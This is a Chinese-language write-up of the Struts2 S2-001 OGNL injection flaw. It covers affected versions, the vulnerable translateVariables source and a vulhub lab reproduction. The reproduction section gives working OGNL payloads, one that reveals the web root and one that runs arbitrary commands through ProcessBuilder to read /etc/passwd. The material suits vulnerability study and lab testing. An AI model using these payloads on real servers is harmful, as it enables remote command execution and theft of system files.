1、漏洞描述
Struts2是一个基于MVC设计模式Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。
WebWork 2.1+ 和 Struts 2 的 'altSyntax'
特性允许将 OGNL 表达式插入文本字符串并进行递归处理,这允许恶意用户提交一个字符串。如果用户提交表单验证失败,且提交的参数中包含一个 OGNL 表达式,服务器将执行该表达式。
2、影响版本
WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8
3、漏洞简单分析
-
问题主要是出在
translateVariables
函数中,源码如下:
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) { // deal with the "pure" expressions first! //expression = expression.trim(); Object result = expression; while (true) { int start = expression.indexOf(open + "{"); int length = expression.length(); int x = start + 2; int end; char c; int count = 1; while (start != -1 && x < length && count != 0) { c = expression.charAt(x++); if (c == '{') { count++; } else if (c == '}') { count--; } } end = x - 1; if ((start != -1) && (end != -1) && (count == 0)) { String var = expression.substring(start + 2, end); Object o = stack.findValue(var, asType); if (evaluator != null) { o = evaluator.evaluate(o); } String left = expression.substring(0, start); String right = expression.substring(end + 1); if (o != null) { if (TextUtils.stringSet(left)) { result = left + o; } else { result = o; } if (TextUtils.stringSet(right)) { result = result + right; } expression = left + o + right; } else { // the variable doesn't exist, so don't display anything result = left + right; expression = left + right; } } else { break; } } return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType); }
-
此时
expression
为%{password}
:
-
经过while循环,此时
var
为password
:
-
stack.findValue(var, asType)
;会返回password的值%{1+1}
,这个就是我们传入的payload:
-
此后
o
为%{1+1}
,再对o
进行了一番处理后,payload经过result
变量,最终成为expression
的值:
-
在完成后,进入下一个循环:
-
并且在
Object o = stack.findValue(var, asType);
中完成了对payload的执行:
-
总结:究其原因,在于在
translateVariables
函数中,递归解析了表达式,在处理完%{password}
后将password
的值直接取出并继续在while
循环中解析,若用户输入的password是恶意的OGNL表达式,比如%{1+1}
,则得以解析执行。
4、漏洞复现
4.1 环境搭建
使用vulnhub进行搭建https://github.com/vulhub/vulhub
cd vulhub-master/struts2/s2-001
docker-compose build
docker-compose up -d
4.2 最简单POC语句尝试,输入%{1+1}
,语句成功执行
4.3 尝试获取Web路径
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
4.4 执行任意命令,只需修改命令加参数,例如new java.lang.String[]{"cat","/etc/passwd"}
%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }
参考链接:
https://xz.aliyun.com/t/2044
https://xz.aliyun.com/t/2672#toc-2
https://www.freebuf.com/articles/web/280245.html
https://cwiki.apache.org/confluence/display/WW/S2-001